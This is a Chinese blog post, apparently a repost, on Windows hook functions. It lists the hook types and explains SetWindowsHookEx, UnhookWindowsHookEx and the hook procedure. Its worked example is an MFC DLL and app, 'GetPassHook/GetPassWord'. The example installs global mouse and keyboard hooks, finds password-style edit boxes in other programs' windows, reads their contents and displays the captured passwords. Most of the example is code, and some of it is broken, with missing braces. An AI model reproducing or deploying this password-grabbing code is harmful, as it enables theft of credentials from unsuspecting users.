HOOK钩子函数

来源:互联网 发布:塑料卡扣连接技术 淘宝 编辑:程序博客网 时间:2024/06/07 01:38

因为工作中用到了钩子函数,刚开始认为跟回调函数一样,昨天在使用中发现还是有些去别的,对HOOK钩子函数总结一下


一.钩子函数的运用

钩子函数是一个处理消息的程序段,通过系统调用,将其挂载在系统上。每当特定的消息发出,在没到达目的窗口前,钩子函数先捕获消息,即钩子函数先得到控制权。

二.钩子消息分类

1.WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息

2.WH_DEBUG :调试钩子

3.WH_FOREGROUNDIDLE :当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL 

4.WH_JOURNALRECORD: 监视和记录输入事件 

5.WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件 

6.WH_KEYBOARD 键盘钩子 

7.WH_KEYBOARD_LL 低层键盘钩子 

8.WH_MOUSE 鼠标钩子

9.WH_MOUSE_LL 底层鼠标钩子

10.WH_SHELL 外壳钩子

11.WH_MSGFILTER 和 WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等

三.钩子的安装和卸载

(1)安装钩子

调用函数SetWindowsHookEx安装钩子。原型如下:

HOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,INSTANCE hMod,DWORD dwThreadId);

参数1---idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD, WH_MOUSE。

参数2---Lpfn是钩子函数的地址

参数3---HMod 是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)

参数4---dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL

返回:所安装的钩子句柄


(2)卸载钩子

调用函数UnhookWindowsHookEx卸载钩子。原型如下:

BOOL UnhookWindowsHookEx( HHOOK hhk)

四.定义钩子函数

钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:

LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam) 

参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出

五.示例

//1.定义类CGetPassHook 

class AFX_EXT_CLASS CGetPassHook : public CObject 

public: 
BOOL StopHook(); 
BOOL StartHook(HWND hwnd);
CGetPassHook(); 
virtual ~CGetPassHook();
}; 

//2.加入共享数据

#pragma data_seg("ShareData") 
HHOOK hKeyBoardHook=NULL; //keyboard hook 
HHOOK hMouseHook=NULL; //mouse hook 
HINSTANCE glhInstance=NULL;        //globle instance 
HWND hOutPutWnd=NULL; //Display Pass Wnd 
#pragma data_seg()

//3.加入鼠标,键盘钩子处理函数

LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) 

//鼠标钩子得理函数 
LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
 
if(nCode>=0) 

HWND hTargetHwnd=lpMouse->hwnd; //得到鼠标所在窗口句柄 
if(hTargetHwnd) 

LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); //得到它的样式
if(style&ES_PASSWORD) //如果是密码框 

char szPass[255]; 
::SendMessage(hTargetHwnd, WM_GETTEXT, 255, (LPARAM)szPass);    //得到密码 
::SendMessage(hOutPutWnd, WM_SETTEXT, 0, (LPARAM)szPass);//显示密码 


}
return CallNextHookEx(hMouseHook,nCode,wParam,lParam); 
//加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递, 
//可以起到截儿消息的目的,我们这里调用之。 
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) 

//keyboard hook proc
if(nCode>=0) 

HWND hTargetHwnd=GetActiveWindow(); //get active window 
if(hTargetHwnd) 
EnumChildWindows(hTargetHwnd,EnumWndProc,0); //枚举所有窗口 
}
//加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递, 
//可以起到截儿消息的目的,我们这里调用之。 
return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam); 
}

/*备注介绍下EnumChildWindows函数,原型如下: 

BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam); 
参数1---hWndParent:为枚举窗口的句柄 
参数2---lpEnumFunc:枚举函数的地址, 
参数3---lParam:这里为0

*/

//4.加入枚举窗口的函数

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam) 

//enum the child window,find passedit 
if(hwnd) 

LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE 
if(style&ES_PASSWORD) //是密码框 

char szPass[255]; 
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass);//得到PASS 
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);  //显示 
return TRUE; 

}

return TRUE; 
}

//5.在DEF文件中定义段属性: (这步很重要) 
  SECTIONS 
  mydata READ WRITE SHARED

//6.完成StartHook,StopHook函数,启动/关闭钩子

BOOL CGetPassHook::StartHook(HWND hwnd)
{
//install hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);

//mouse hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
//keyboard hook
if(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; //显示密码的句柄
return TRUE;
}
return FALSE;
}

BOOL CGetPassHook::StopHook()
{
//unstall hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
if(mHook && kHook)
{
return TRUE;
}
return FALSE;
}

//7.在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下: 

extern HINSTANCE glhInstance; //记得这里 
extern "C" int APIENTRY 
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 

UNREFERENCED_PARAMETER(lpReserved); 
if (dwReason == DLL_PROCESS_ATTACH) 

TRACE0("GETPASS.DLL Initializing!\n");
if (!AfxInitExtensionModule(GetPassDLL, hInstance)) 
return 0; 
new CDynLinkLibrary(GetPassDLL); 
//得到句柄 
glhInstance=hInstance; 

else if (dwReason == DLL_PROCESS_DETACH) 

TRACE0("GETPASS.DLL Terminating!\n"); 
AfxTermExtensionModule(GetPassDLL); 

return 1; // ok 
}

//9:编译,完成DLL部分

六。建立APP部分

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files 选择这两个文件。

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include "GetPassHook.h" 
class CGetPassWordDlg : public CDialog 

protected: 
CGetPassHook m_hook; 
//...
DECLARE_MESSAGE_MAP() 
};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog() 

  //install hook
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS); 
m_hook.StartHook(pWnd->GetSafeHwnd()); 
// return TRUE unless you set the focus to a control 
return TRUE;
}

5.加入WM_DESTROY消息,在退出程序时停止HOOK,如下:

void CGetPassWordDlg::OnDestroy() 

CDialog::OnDestroy(); 

//stop hook 
m_hook.StopHook(); 
}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行. 


0 0